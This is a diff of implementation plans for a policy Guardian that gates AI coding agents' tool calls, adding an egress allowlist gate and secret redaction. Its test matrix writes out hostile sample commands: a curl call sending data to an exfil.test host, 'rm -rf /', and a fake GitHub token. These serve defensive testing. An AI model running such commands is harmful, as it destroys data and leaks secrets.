where it cannot. Plus the +Trace pillar, measured as an explicit non-claim."* Fix the index row at +`acs-reference-impl-slices.md:23` the same way if it still carries the old +sentence. + +**6b — "five verdicts" without "AGT".** The columns are AGT +`allow|warn|deny|escalate|transform`, not ACS's five dispositions. Both docs +say "five verdicts"; qualify to "five AGT verdicts" everywhere the 8×5 is +described, and name the enum once in the README. + +**6c — the affordance list is short two entries.** The README lists +`U30, U32, N40-N44, N47, N48`. Detail C also carries **U33** (trace-pillar row) +and **N49** (trace-pillar check), both of which the master doc's §V7 body +depends on — "N49 is what turns that table into measured cells rather than this +prose, and U33 renders it." Add both. + +**6d — freeze Mapping vs Matrix vs Trace.** +- `Mapping` = S10 data (`mapping.yaml`). +- `MappingTable` = U32's rendering. +- `CoverageMatrix` = U30's measurements. +- The 8×5 is never called a mapping. + +**6e — split `renderMatrix`.** N47 is currently one function wired to U30, U31 +*and* U33 — coverage cells, upstream diffs, and trace rows are three renderings +of three different measurements. Split into `renderCoverageMatrix` (→ U30), +`renderTraceRows` (→ U33), `renderUpstreamDiff` (→ U31). This contradicts +Detail C's `N47 | renderMatrix()`, so N47's row and the mermaid edges +(`acs-reference-impl-shaping.md:499-501`, `acs-reference-impl-slices.md:367`) +move with it — Global Constraint 7. V8's `diffSurfaces` (N46) then wires to +`renderUpstreamDiff`, not to a shared `renderMatrix`. + +Add the same **"Names frozen before implementation"** section to +`slices/v7/README.md`. + +--- + +## Task 7 — `drift` is taken; V8 watches the upstream contract + +Branch: `slice/v8` (rebased onto the new `slice/v7` tip). Files: +`slices/v8/README.md`, `docs/shaping/acs-reference-impl-slices.md` §V8 + +index row :24, `docs/shaping/acs-reference-impl-shaping.md` C6 row :162 and +Detail C. Plus PR #17's title. + +Two threads, `3778056074` and `3778056084`, both Important. + +**7a — the stem** (`slices/v8/README.md:1`): + +> `drift` is already a live product noun: `manifest.drift.yaml`, AGT +> `drift_score`, the V3 warn gate. A file named `drift.ts` will be read as +> that gate. Stem: **`upstream`** (`UpstreamDiff`, `fetchUpstreamSurfaces` — +> already good). Slice/UI: "upstream contract watch", not "drift watch". + +Rename the slice: **"V8: Upstream contract watch"**. That is the README H1, +the master doc §V8 heading and index row, the shaping doc's C6 row, and PR +#17's title. `fetchUpstreamSurfaces` (N45) and `diffSurfaces` (N46) already +carry the right stem and do not move. U31 is "drift detail" in both shaping +docs — it becomes the surface-diff detail, named for what it renders. + +Check whether the V3 `drift` uses (`policy/manifest.drift.yaml`, +`input.annotations.drift_score`) are cited anywhere in V8's docs; those are +the *other* noun and must not be renamed with it. + +**7b — a schema change is not a V7 cell** (`slices/v8/README.md:3`): + +> A schema/enum change is not a V7 coverage cell (point × AGT verdict). It is +> a `SurfaceDiff`. N46 → N47 stuffing diffs into `renderMatrix` is the same +> bag as V7. Twins: `PinnedSurfaces` ∥ `UpstreamSurfaces`. `diffSurfaces` is +> told two snapshots; it does not ask `agt.lock` to check itself out. + +- The demo sentence says *"A changed enum turns a cell red and names the + field."* A cell is V7's (intervention point × AGT verdict). An enum change + is a `SurfaceDiff`. Restate the demo in V8's own noun in both the README and + the master doc. +- Freeze `PinnedSurfaces` (from `agt.lock`, S11) ∥ `UpstreamSurfaces` (fetched + from `main`, S12) as the twin pair `diffSurfaces` takes. +- `diffSurfaces(pinned, upstream)` is **told** two snapshots. It does not read + `agt.lock` itself. Write that down; it is the same `tell, don't ask` finding + as Task 3, one slice early enough to be free. +- N46's output renders through `renderUpstreamDiff` (Task 6e), not + `renderMatrix`. + +Add the same **"Names frozen before implementation"** section to +`slices/v8/README.md`. + +--- + +## After the tasks + +Rebase is done incrementally (v6 before Task 5, v7 before Task 6, v8 before +Task 7) so each doc task edits a branch already sitting on its final parent. +Force-push all four with `--force-with-lease`, verify the stack is linear and +every PR still reports `MERGEABLE`, retitle PR #17, then reply in each thread +and post a round summary on #14. diff --git a/docs/superpowers/plans/2026-08-18-v9-second-tool-shape-and-egress.md b/docs/superpowers/plans/2026-08-18-v9-second-tool-shape-and-egress.md new file mode 100644 index 00000000..7607a3df --- /dev/null +++ b/docs/superpowers/plans/2026-08-18-v9-second-tool-shape-and-egress.md @@ -0,0 +1,1963 @@ +# V9: A second tool shape, and the egress gate — Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Govern a second tool shape. One normalised policy-target leaf lets a single AGT `policy_target` serve tools whose arguments disagree about their names; AGT's stock `egress` gate then decides a `WebFetch` destination from the wire's own `url`, and a `curl` destination from a Guardian-extracted annotation, through the same unforked rule. + +**Architecture:** One declaration in `mapping.yaml` (`policy_target_argument`) is read twice — once to decide which argument becomes the snapshot's `acs_policy_target` leaf, once to decide which argument an AGT `transform` is written back to. `policy/manifest.yaml` keeps its single `policy_target` and points it at that leaf. A pure Guardian-side annotator extracts a destination from `raw_command` and answers at `input.annotations.egress.destination`, which is `egress.rego`'s own fifth default path. No Rego is authored and `policy/lib` is untouched. + +**Tech Stack:** Bun, TypeScript, `bun test`. AGT SDK `agent-control-specification@0.3.1-beta.0` at the ref `agt.lock` pins. OPA via the SDK. No new dependencies. + +**Spec:** `docs/shaping/acs-reference-impl-slices.md` **§V9** (line 606) is authoritative for scope. Its measurements are in `docs/shaping/spike-unreached-gates.md`. Names are frozen in `slices/v9/README.md`. + +## Global Constraints + +Every task's requirements implicitly include this section. Constraints 1–8 are `slices/v9/README.md`'s eight commitments, restated as rules an implementer can be held to. + +1. **Nothing this slice builds is named `egress` alone.** The annotator is `annotateEgressDestination()`, the file is `packages/guardian/src/annotate-egress.ts`. `egress.ts`, `Egress`, and a bare `egress` export are unavailable: they name AGT's gate, which this repository vendors byte-identical and does not author. +2. **The declaration in `mapping.yaml` is `policy_target_argument`, with members `default` and `by_tool`.** The echo of AGT's own `policy_target` is deliberate: the manifest's `policy_target` and this table name the same leaf in two dialects, exactly as `into_argument` and `into_path` already do. A third noun would hide that they are one fact. +3. **`modifications.into_argument` is removed, not kept alongside.** One declaration answers both questions — which argument the policy target is read from, and which argument a `transform` is written back to. Two declarations of one fact are two things that can disagree. +4. **The synthetic snapshot leaf is `acs_policy_target`, and it must not shadow a tool's real argument.** The `acs_` stem marks it as this side's construct rather than something a host sent. An implementation that finds a real tool argument by that name fails loudly rather than overwriting it. +5. **`resolvePolicyTargetArgument(mapping, point, toolName)` is told the tool name; it does not read an envelope.** A resolver that took an envelope would couple `map-verdict.ts` to the wire shape it currently knows nothing about. +6. **`annotateEgressDestination` answers `{destination}` or `{}`, never a throw and never `null`.** A command it cannot parse is not an error: the stock gate is `undefined` when no destination resolves, and the call falls through to the other gates. This is the slice's stated miss direction and must read as a deliberate answer in the code, not as a swallowed failure. +7. **The Guardian supplies an annotator dispatcher unconditionally once the manifest declares one.** `StartGuardianOptions.annotator` stays overridable; what changes is that omitting it no longer means "no annotator", it means "the built-in one". A test asserting a benign call is not denied under the shipped manifest is the one check in this slice whose absence would be silent. +8. **`cfg.egress` ships with an explicit `allowlist`.** With the key absent, `allowlist(rules)` falls back to `input.tool.security_labels`, which is `["shell"]` on every registered tool, and every destination is denied. +9. **`policy/lib/*.rego` is never edited.** `bun run verify:pin` byte-diffs every `.rego` against the pinned upstream clone. `policy/lib/data.json` is this project's own file and is the one thing in that directory this slice may change (`test/pin.test.ts` — "adds nothing to the bundle except data.json"). +10. **Every comment and document sentence states a measured fact.** Captured output is re-run, never hand-edited. +11. **Comments and test names carry no shaping identifiers** (`N54`, `S17`, `R1.11`, …) and no review archaeology. Name the function, the file, or the behaviour in words. Standing rule across the stack. +12. **`trash`, never `rm -rf`.** **No attribution on outbound traffic** from any script this slice touches. + +--- + +## Slice Contract + +| Field | Value | +|---|---| +| **Slice ID** | GitHub issue **#28** — "V9: A second tool shape, and the egress gate" | +| **Slices doc** | `docs/shaping/acs-reference-impl-slices.md` **§V9, line 606** | +| **Frozen names** | `slices/v9/README.md` | +| **Measurements** | `docs/shaping/spike-unreached-gates.md` §A1, §A2, §A3, §A7, §A8 | +| **Branch** | `slice/v9`, stacked on `slice/v8` (PR **#30** → `slice/v8`) | +| **Demo** | "Ask for a web fetch of a host the allowlist does not cover. AGT's stock `egress` gate denies it — a fourth gate class live, from one `data.json` key and no code. Then ask for the same destination over `curl`, and it denies again, this time from a Guardian-extracted destination. Both verdicts come from the same unforked rule." | +| **Components** | **N54** `resolvePolicyTargetArgument()` · **N55** `annotateEgressDestination()` · **N23** `assemblePreToolCallSnapshot()` +3rd param · **N24** `mapVerdict()` +4th param · **N21** `validateEnvelope()` (already types `raw_command`) · **N31** bridge always built with a dispatcher · **N30** `evaluateInterventionPoint` dispatches the annotator · **N2/N11** `buildEnvelope()` reads the new `raw_command` path · **S17** `settings.json` matchers · **S10** `mapping.yaml` · **S7** `policy/manifest.yaml` · **S8** `data.agt.defaults.config` · **S1/S2** both hookmaps | +| **UI** | None new. The denial renders through **U2**, **U11**, **U20**, **U21** — a deny is a deny, and the decision badge already renders whatever `reason_codes` comes back | +| **Requirements** | **R1.9** every gate class reachable or a named reason · **R1.10** a second tool shape evaluated, and a transform landing on that tool's own argument · **R1.11** egress decided for the tool the threat actually uses · **R2.1** AGT's published library deciding, driven only by configuration | +| **Not in this slice** | The result gate's own one-shape assumption (`outputs.from`, one path per hook) — risk row 24, **explicitly unassigned** · the six posture-seam hookmap faults · Inspector tail-test sleeps | + +--- + +## Corrections produced during planning + +Each was measured by running the pinned SDK against the vendored bundle during planning, not by reading documentation. Each is amended into `docs/shaping/acs-reference-impl-slices.md` §V9 by Task 6. + +### C1 — `annotations..from` is a liveness precondition, not a projection, and an unresolvable one is a total deny + +§A8 measured that an annotator declared with **no dispatcher** denies every call. Planning measured the neighbouring fault, which §A8 does not cover and which V9 walks straight into: what a *dispatched* annotator does when its declared `from` path is **absent from the snapshot**. + +Measured, on one manifest with `annotations.egress.from: "$.tool_call.raw_command"` and a `WebFetch` snapshot carrying no `raw_command`: + +``` +WebFetch allowlisted (NO raw_command) -> {"decision":"deny","reason":"runtime_error:path_missing","message":"Request blocked by Agent Control Specification."} + annotator calls: [] +WebFetch off-allowlist (NO raw_command) -> same + annotator calls: [] +WebFetch, raw_command as empty string -> {"decision":"allow","result_labels":["public"]} + annotator calls: [ … one call … ] +``` + +Three facts follow, and all three change the implementation: + +1. **The annotator is never called** when `from` does not resolve. The SDK resolves the path first and fails closed. +2. **`from` is required** — a manifest declaring `annotations: {egress: {}}` does not parse: *"intervention_points.pre_tool_call.annotations.egress: missing field `from`"*. So "just omit `from`" is not available. +3. **The resolved value never reaches the dispatcher.** The dispatcher's `config` argument is the annotator's declaration — `{"from":"$.tool_call.raw_command","type":"classifier"}`, the *path*, not the value — and `preliminary` is AGT's whole preliminary policy input document: `{intervention_point, policy_target, snapshot, annotations, tool}`. + +**Consequences.** `assemblePreToolCallSnapshot` must write `raw_command` on **every** request snapshot, as the empty string when the wire carries none — otherwise every `WebFetch` call is a total deny wearing a runtime-error reason, which is the exact failure §A8 warns about arriving from a second direction. And `annotateEgressDestination` reads the command out of `preliminary.snapshot.tool_call.raw_command` itself; it cannot be handed the projected value, because there is no projection. + +### C2 — the `guardian_only` / `expressed` matrix-cell claim is not implementable, and V8 already set the right precedent + +§V9 and `slices/v9/README.md` both say the two egress routes take different cells in V7's matrix: the `url` route `expressed`, the `raw_command` route `guardian_only`. + +**Measured against the shipped code:** V7's matrix is **8 AGT intervention points × 5 AGT verdicts = 40 cells**, and both axes are read off the pinned SDK's own `InterventionPoint` and `Decision` consts (`packages/conformance/src/cells.ts`). There is no coordinate for a gate class, and none for a route. `pre_tool_call × deny` already resolves `expressed`, from the patterns gate, via `failure-domains.ts`. An egress deny at that same coordinate adds no cell and changes no status. + +**Consequence, and it is a scope reduction, not a workaround.** V9 does **not** touch `packages/conformance`. The two-provenance distinction is stated where it is true — in the runbook and in §V9 — and not encoded as a cell the matrix cannot hold. This is V8's own rule applied again: *"A `SurfaceDiff` is not a cell of V7's 8 × 5"*. Encoding it anyway would mean widening the matrix's axes to carry a third dimension nothing else measures, which is a slice of its own. + +### C3 — two resolvable destination paths are a runtime error, not a priority order + +`egress.rego`'s `destination(rules)` is a complete rule over `some path in paths`. Handed a snapshot where **two** of its five paths resolve to **different** strings, OPA has no single value to answer with. + +Measured — a snapshot carrying both `args.url: "https://docs.anthropic.com/a"` and an annotation destination of `https://exfil.test/b`: + +``` +CONFLICT PROBE: url AND a different raw_command url -> {"decision":"deny","reason":"runtime_error:policy_invocation_failed","message":"Request blocked by Agent Control Specification."} +``` + +**Consequence.** `annotateEgressDestination` must answer `{}` whenever the snapshot's own arguments already carry a destination AGT reads — `url`, `endpoint`, `host`, `domain`. Not reachable across the two tools this slice governs (`WebFetch` sends `url` and an empty `raw_command`; `Bash` sends `command` and a populated one), and reachable on the first tool registered that sends both. Handled structurally in the annotator, with its own test, rather than left to the tool set staying small. + +### C4 — the whole demo matrix on one manifest, measured + +The eight rows the runbook will capture, evaluated through the pinned bundle on a single manifest with the normalised leaf, the annotator wired, and `cfg.egress` carrying an explicit allowlist: + +| Tool | Policy target | Verdict | +|---|---|---| +| `Bash` | `echo hi` | `allow`, `result_labels: ["public"]` | +| `Bash` | `rm -rf /` | `deny` `destructive_shell_command_blocked` | +| `Bash` | `curl https://exfil.test/steal` | `deny` `egress_destination_not_allowed` — *"destination exfil.test not in allowlist …"* | +| `Bash` | `curl https://docs.anthropic.com/x` | `allow` | +| `Bash` | `echo ghp_ABCDEF123456` | `transform` → `echo [REDACTED]` | +| `WebFetch` | `https://docs.anthropic.com/x` | `allow` | +| `WebFetch` | `https://exfil.attacker.test/steal` | `deny` `egress_destination_not_allowed` | +| `WebFetch` | `https://docs.anthropic.com/?t=ghp_ABCDEF123456` | `transform` → `https://docs.anthropic.com/?t=[REDACTED]` | + +All four live gate classes coexist on one shared leaf with no false positive in either direction, confirming §A7 against the exact manifest this slice ships rather than against the spike's probe. + +### C5 — OpenCode's fetch tool is `webfetch` and its argument is `url`, with different evidence for each half + +The **name** is measured: §V5's live run through a Guardian recorded `read / grep / write / edit / webfetch -> deny runtime_error:path_missing`, which is OpenCode reporting its own tool names. + +The **argument key** is read out of the shipped `opencode` 1.18.18 binary's own tool renderer (`t.input.url`), which is evidence about the tool's input shape but is not a live measurement of what lands in the plugin's `args`. ⚠️ Task 5 measures it live before the `by_tool` row is trusted, and records what it saw. + +--- + +## Slice accounting + +| From the slice | Handled by | Note | +|---|---|---| +| N54 `resolvePolicyTargetArgument()` | Task 1 | told the tool name, never an envelope | +| S10 `mapping.yaml` gains `policy_target_argument`, loses `into_argument` | Task 1 | one declaration, read twice | +| N24 `mapVerdict()` fourth parameter | Task 1 | closes risk row 19 structurally | +| `summaries.redaction_applied.pre_tool_call` wording | Task 1 | "this command" is wrong for every non-shell tool | +| N23 `assemblePreToolCallSnapshot()` third parameter | Task 1 | writes `acs_policy_target`, always writes `raw_command` | +| S7 `policy/manifest.yaml` `policy_target` + `tools:` | Task 1 | single target, pointed at the leaf | +| `test/path-dialects.test.ts` splits into two agreements | Task 1 | the old derivation would now yield the leaf's own name | +| N55 `annotateEgressDestination()` | Task 2 | pure, total, `{}` on anything it cannot parse | +| N21 `raw_command` first populated | Task 3 | already typed at `validate-envelope.ts:100` since V1 | +| S1/S2 hookmaps gain `raw_command` | Task 3 | omitted when unresolvable, never a throw | +| N2/N11 `buildEnvelope()` reads it | Task 3 | one function, both hosts | +| S8 `cfg.egress` with an explicit allowlist | Task 4 | commitment 8; risk row 21 | +| N31 bridge always constructed with a dispatcher | Task 4 | commitment 7; risk row 20 | +| N30 dispatches the annotator | Task 4 | the SDK's own seam, already built | +| S17 `settings.json` PreToolUse matcher | Task 5 | request gate only — risk row 24's bounded half | +| S2 `tools:` gains OpenCode's fetch tool | Task 5 | with C5's live verification | +| R1.10 transform lands on the right argument | Task 1 | the end-to-end test for risk row 19: `parameter_overrides.url`, and no `command` key | +| R1.9 / R1.11 / R2.1 | Task 6 | declared in the runbook against captured output | +| Corrections C1–C5 | Task 6 | amended into §V9 | +| V7 matrix cells | **not in this plan** | C2: the matrix has no coordinate for a route | +| Result gate's `outputs.from` one-shape assumption | **not in this plan** | risk row 24, explicitly unassigned | + +--- + +## File structure + +| File | Created / Modified | Responsibility | +|---|---|---| +| `mapping.yaml` | Modified | declares `policy_target_argument.{default,by_tool}`; `into_argument` removed | +| `packages/guardian/src/map-verdict.ts` | Modified | `resolvePolicyTargetArgument()`; `mapVerdict` takes the resolved argument | +| `packages/guardian/src/assemble-snapshot.ts` | Modified | writes the `acs_policy_target` leaf and an always-present `raw_command` | +| `packages/guardian/src/annotate-egress.ts` | **Created** | the destination extractor: `{destination}` or `{}`, never a throw | +| `packages/guardian/src/server.ts` | Modified | resolves the argument before assembling; supplies the built-in dispatcher | +| `packages/guardian/src/index.ts` | Modified | exports the resolver (the conformance package reads it) | +| `policy/manifest.yaml` | Modified | `policy_target` → the leaf; two tools registered; the annotator declared | +| `policy/lib/data.json` | Modified | `cfg.egress` with an explicit allowlist. **The only file in `policy/lib` this slice may touch** | +| `packages/host-adapter/src/build-envelope.ts` | Modified | reads a hookmap's `raw_command` path onto the request payload | +| `hosts/claude-code/claude-code.hookmap.yaml` | Modified | `raw_command: $.tool_input.command` | +| `hosts/opencode/opencode.hookmap.yaml` | Modified | `raw_command: $.args.command`; request gate's `tools:` widens | +| `.claude/settings.json`, `hosts/claude-code/settings.json` | Modified | PreToolUse matcher widens; PostToolUse does not | +| `packages/conformance/src/verdicts.ts` | Modified | its `mapVerdict` call gains the fourth argument | +| `test/path-dialects.test.ts` | Modified | splits into the two agreements that are load-bearing now | +| `packages/guardian/test/annotate-egress.test.ts` | **Created** | | +| `docs/demos/v9-runbook.md` | **Created** | captured, never hand-edited | + +--- + + +## Task 1: The normalised leaf, and one declaration read twice · slice #28 · N54, N24, N23, S10, S7 + +`mapping.yaml` declares, per intervention point, which argument each tool's policy target lives in. The Guardian copies that argument's value to one fixed snapshot leaf, and `policy/manifest.yaml`'s single `policy_target` points at the leaf. The **same** declaration decides which argument an AGT `transform` is written back to, so the two can never disagree — `into_argument` is removed, not deprecated beside it. + +**This is one task because no half of it runs.** Removing `into_argument` breaks `mapVerdict`; moving the manifest's `policy_target` to a leaf nothing writes denies every call on `runtime_error:path_missing`; writing the leaf while the manifest still targets `command` changes nothing. A reviewer cannot accept one half and reject the other, which is the test for where a task boundary belongs. + +**Files:** +- Modify: `mapping.yaml` +- Modify: `packages/guardian/src/map-verdict.ts` +- Modify: `packages/guardian/src/assemble-snapshot.ts` +- Modify: `packages/guardian/src/server.ts` (`evaluateStep`, and the assembler's parameter type) +- Modify: `packages/guardian/src/index.ts` +- Modify: `policy/manifest.yaml` +- Modify: `packages/conformance/src/verdicts.ts:181` +- Test: `packages/guardian/test/map-verdict.test.ts`, `packages/guardian/test/assemble-snapshot.test.ts`, `test/path-dialects.test.ts` + +**Interfaces:** +- Consumes: nothing from earlier tasks. +- Produces: + - `resolvePolicyTargetArgument(mapping: Mapping, point: string, toolName: string): string | undefined` — `undefined` for a point that declares no table; throws for a point the table has no row for at all. + - `mapVerdict(verdict: AgtVerdict, mapping: Mapping, point: string, policyTargetArgument: string | undefined): AcsDecision` — fourth parameter required in position, nullable in value, so every caller decides. + - `assemblePreToolCallSnapshot(envelope: ToolCallRequestEnvelope, sourceLabels: IfcLabels, policyTargetArgument: string | undefined): AgtPreToolCallSnapshot`. + - `POLICY_TARGET_LEAF = "acs_policy_target"`, exported from `assemble-snapshot.ts` and from the package barrel. + - `AgtPreToolCallSnapshot.tool_call.raw_command: string` — always present. + - `type PolicyTargetArgument = { default: string; by_tool?: Record }`. + +- [ ] **Step 1: Write the failing tests — the resolver and the rewrite target** + +Append to `packages/guardian/test/map-verdict.test.ts`. Add `loadMapping` and `resolvePolicyTargetArgument` to that file's existing import from `../src/map-verdict.ts`. + +```ts +describe("which argument a tool's policy target is read from", () => { + const shipped = loadMapping("mapping.yaml"); + + it("answers the argument the table names for that tool", () => { + expect(resolvePolicyTargetArgument(shipped, "pre_tool_call", "WebFetch")).toBe("url"); + expect(resolvePolicyTargetArgument(shipped, "pre_tool_call", "Bash")).toBe("command"); + }); + + it("falls back to the default for a tool the table does not name", () => { + expect(resolvePolicyTargetArgument(shipped, "pre_tool_call", "SomeToolNobodyRegistered")).toBe("command"); + }); + + it("answers nothing for a gate that rewrites a payload leaf rather than an argument", () => { + expect(resolvePolicyTargetArgument(shipped, "post_tool_call", "Bash")).toBeUndefined(); + }); + + it("throws for a point the mapping has no row for at all", () => { + expect(() => resolvePolicyTargetArgument(shipped, "not_a_point", "Bash")).toThrow(/no row/); + }); + + it("throws when the table names neither a default nor an entry for this tool", () => { + const broken = { + intervention_points: { + pre_tool_call: { acs_method: "steps/toolCallRequest", policy_target_argument: { by_tool: { Bash: "command" } } }, + }, + } as unknown as Mapping; + expect(() => resolvePolicyTargetArgument(broken, "pre_tool_call", "WebFetch")).toThrow(/default/); + }); +}); + +describe("a rewrite lands on the argument the tool actually sent it in", () => { + const shipped = loadMapping("mapping.yaml"); + const redaction: AgtVerdict = { + decision: "transform", + reason: "redaction_applied", + transform: { path: "$policy_target", value: "https://docs.anthropic.com/?t=[REDACTED]" }, + }; + + it("keys the parameter override by the resolved argument, not by a literal", () => { + expect(mapVerdict(redaction, shipped, "pre_tool_call", "url").modifications).toEqual({ + parameter_overrides: { url: "https://docs.anthropic.com/?t=[REDACTED]" }, + }); + }); + + it("keys a shell rewrite the same way, from the same declaration", () => { + expect(mapVerdict(redaction, shipped, "pre_tool_call", "command").modifications).toEqual({ + parameter_overrides: { command: "https://docs.anthropic.com/?t=[REDACTED]" }, + }); + }); + + it("refuses to report a rewrite with no argument to land it on", () => { + expect(() => mapVerdict(redaction, shipped, "pre_tool_call", undefined)).toThrow(/policy_target_argument/); + }); + + it("leaves the result gate's redaction pointer alone -- it addresses a payload leaf, not an argument", () => { + expect(mapVerdict(redaction, shipped, "post_tool_call", undefined).modifications).toEqual({ + redactions: [{ path: "/outputs/0/value", replacement: "https://docs.anthropic.com/?t=[REDACTED]" }], + }); + }); +}); +``` + +- [ ] **Step 2: Write the failing tests — the snapshot leaf, and the rewrite that lands on it** + +Append to `packages/guardian/test/assemble-snapshot.test.ts`. That file already builds request envelopes; if its existing helper does not take an arbitrary arguments bag plus an optional raw command, add this local one: + +```ts +function requestEnvelope( + toolName: string, + args: Record, + rawCommand?: string, +): ToolCallRequestEnvelope { + const payload: Record = { + tool: { name: toolName }, + arguments: Object.fromEntries(Object.entries(args).map(([k, v]) => [k, { value: v }])), + }; + if (rawCommand !== undefined) payload.raw_command = rawCommand; + return { + jsonrpc: "2.0", + method: "steps/toolCallRequest", + id: 1, + params: { + acs_version: "0.1.0", + request_id: "11111111-1111-4111-8111-111111111111", + timestamp: "2026-08-18T00:00:00Z", + metadata: { session_id: "22222222-2222-4222-8222-222222222222" }, + payload, + }, + } as unknown as ToolCallRequestEnvelope; +} +``` + +```ts +describe("one fixed snapshot leaf, whatever the tool calls its argument", () => { + it("copies the named argument's value to the leaf the manifest targets", () => { + const snapshot = assemblePreToolCallSnapshot( + requestEnvelope("WebFetch", { url: "https://docs.anthropic.com/x" }), + ["public"], + "url", + ); + expect(snapshot.tool_call.args[POLICY_TARGET_LEAF]).toBe("https://docs.anthropic.com/x"); + }); + + it("leaves the tool's own argument in place beside it", () => { + const snapshot = assemblePreToolCallSnapshot( + requestEnvelope("WebFetch", { url: "https://docs.anthropic.com/x" }), + ["public"], + "url", + ); + expect(snapshot.tool_call.args.url).toBe("https://docs.anthropic.com/x"); + }); + + it("does the same for a shell tool, from the same one declaration", () => { + const snapshot = assemblePreToolCallSnapshot(requestEnvelope("Bash", { command: "echo hi" }), ["public"], "command"); + expect(snapshot.tool_call.args[POLICY_TARGET_LEAF]).toBe("echo hi"); + }); + + it("refuses a tool that already sends an argument by the leaf's own name, rather than overwriting it", () => { + expect(() => + assemblePreToolCallSnapshot( + requestEnvelope("Bash", { command: "echo hi", [POLICY_TARGET_LEAF]: "something the host sent" }), + ["public"], + "command", + ), + ).toThrow(/acs_policy_target/); + }); + + it("refuses a call missing the argument its policy target was declared to live in", () => { + expect(() => + assemblePreToolCallSnapshot(requestEnvelope("Bash", { script: "echo hi" }), ["public"], "command"), + ).toThrow(/"command"/); + }); + + it("refuses to assemble at all when the mapping declares no argument for this gate", () => { + expect(() => + assemblePreToolCallSnapshot(requestEnvelope("Bash", { command: "echo hi" }), ["public"], undefined), + ).toThrow(/policy_target_argument/); + }); +}); + +describe("the raw command is always on the snapshot, present or empty", () => { + it("carries what the envelope sent", () => { + const snapshot = assemblePreToolCallSnapshot( + requestEnvelope("Bash", { command: "curl https://exfil.test/x" }, "curl https://exfil.test/x"), + ["public"], + "command", + ); + expect(snapshot.tool_call.raw_command).toBe("curl https://exfil.test/x"); + }); + + // A manifest-declared annotator's own `from` path must resolve or AGT denies + // the whole call on runtime_error:path_missing before the annotator is ever + // dispatched -- measured, with zero annotator calls. An absent raw_command + // would therefore make every fetch a total deny wearing a runtime-error + // reason. + it("carries an empty string when the envelope sent none", () => { + const snapshot = assemblePreToolCallSnapshot( + requestEnvelope("WebFetch", { url: "https://docs.anthropic.com/x" }), + ["public"], + "url", + ); + expect(snapshot.tool_call.raw_command).toBe(""); + }); +}); +``` + +And the end-to-end half, appended to `packages/guardian/test/server.test.ts`. This is the defect the whole slice exists to close, and it is red **only** before this task: measured through the shipped `mapVerdict` beforehand, the same verdict came back as `parameter_overrides.command` — a key `WebFetch` has no argument for — while `url`, still carrying the token, was delivered untouched. + +```ts +describe("a redaction lands on the argument the tool actually sent", () => { + it("rewrites the fetch's url, and names no argument the tool does not have", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "WebFetch", { + url: "https://docs.anthropic.com/?t=ghp_ABCDEF123456", + }); + expect(decision.decision).toBe("modify"); + expect(decision.modifications).toEqual({ + parameter_overrides: { url: "https://docs.anthropic.com/?t=[REDACTED]" }, + }); + expect(Object.keys(decision.modifications?.parameter_overrides ?? {})).not.toContain("command"); + } finally { + await guardian.close(); + } + }); + + it("still rewrites a shell command's own argument, from the same declaration", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "Bash", { command: "echo ghp_ABCDEF123456" }); + expect(decision.modifications).toEqual({ parameter_overrides: { command: "echo [REDACTED]" } }); + } finally { + await guardian.close(); + } + }); +}); +``` + +⚠️ *`postToolCallRequest(guardian, toolName, args, extraPayload?)` is a helper to add beside that file's existing ones if it has no equivalent: it posts a `steps/toolCallRequest` envelope and returns the decision off the final result. The optional fourth parameter is what puts `raw_command` on the payload, which Task 4 needs.* + +- [ ] **Step 3: Run both test files to verify they fail** + +Run: `bun test packages/guardian/test/map-verdict.test.ts packages/guardian/test/assemble-snapshot.test.ts packages/guardian/test/server.test.ts` +Expected: FAIL — `resolvePolicyTargetArgument is not a function`, `POLICY_TARGET_LEAF` not exported, the snapshot assertions failing on a missing leaf and a missing `raw_command`, and the fetch's redaction arriving as `parameter_overrides.command`. + +- [ ] **Step 4: Declare the table in `mapping.yaml`** + +Replace the `pre_tool_call` row's `modifications` block and the comment above it. The comment is rewritten rather than amended: the old one told a reader that `into_argument` "must agree with `policy/manifest.yaml`'s pre_tool_call policy_target", and after this task it does not — the manifest names a synthetic leaf and this table names host arguments. + +```yaml +intervention_points: + pre_tool_call: + acs_method: "steps/toolCallRequest" + # Which argument this gate's policy target lives in, per tool. + # + # AGT's manifest gives an intervention point exactly ONE policy_target + # (manifest.schema.json declares intervention_point with + # additionalProperties: false), and AGT resolves that path before any rule + # runs. Measured: a WebFetch call under a target of + # "$.tool_call.args.command" is DENIED on runtime_error:path_missing -- + # not evaluated and allowed; denied, with no rule consulted. So a + # deployment governing two tools whose arguments disagree about their names + # cannot express both with one literal path. + # + # The answer is this table plus a normalised leaf. The Guardian reads the + # argument named here, copies its value to the fixed snapshot leaf + # policy/manifest.yaml's policy_target points at, and every gate stays live + # in one Guardian -- the property a second manifest per gate would have + # cost. + # + # THE SAME ENTRY IS READ A SECOND TIME, and that is the whole reason it is + # one entry. AGT's transform names the leaf it rewrote by the literal + # "$policy_target"; ACS expresses that as modifications.parameter_overrides + # keyed by ARGUMENT NAME (modifications.json: "Replacement values for tool + # call arguments, keyed by argument name"). The argument a target is read + # FROM and the argument an override is written TO are the same argument. + # That used to be a second declaration (`into_argument: command`), and with + # one governed tool the two could not disagree. Widening to a second tool is + # exactly when they can: measured through the shipped mapVerdict, a + # redaction of a WebFetch url came out as parameter_overrides.command -- a + # key the tool has no argument for -- while url, still carrying the secret, + # shipped untouched. One entry read twice cannot do that. + # + # `default` is what an unlisted tool gets. A tool listed here that + # policy/manifest.yaml does not register is a failing case in + # test/path-dialects.test.ts. + policy_target_argument: + default: command + by_tool: + run_shell: command + Bash: command + bash: command + WebFetch: url + webfetch: url + modifications: + from: verdict.transform + when_path: "$policy_target" + into: parameter_overrides +``` + +And the wording fix in `field_synthesis.reasoning.summaries` — the old sentence is wrong for every non-shell tool, and it is the sentence a model reads: + +```yaml + redaction_applied: + pre_tool_call: "A secret in this step's arguments was replaced before it ran." + post_tool_call: "Secrets in this output were replaced before the model saw them." +``` + +- [ ] **Step 5: Implement the resolver and rewire `mapVerdict`** + +In `packages/guardian/src/map-verdict.ts` — `into_argument` goes from the type: + +```ts +type ModificationsRule = + | { + from: string; + when_path: string; + /** The request gate rewrites a tool ARGUMENT. WHICH argument is not + * declared here: it is `policy_target_argument` on the same row, because + * the argument an override 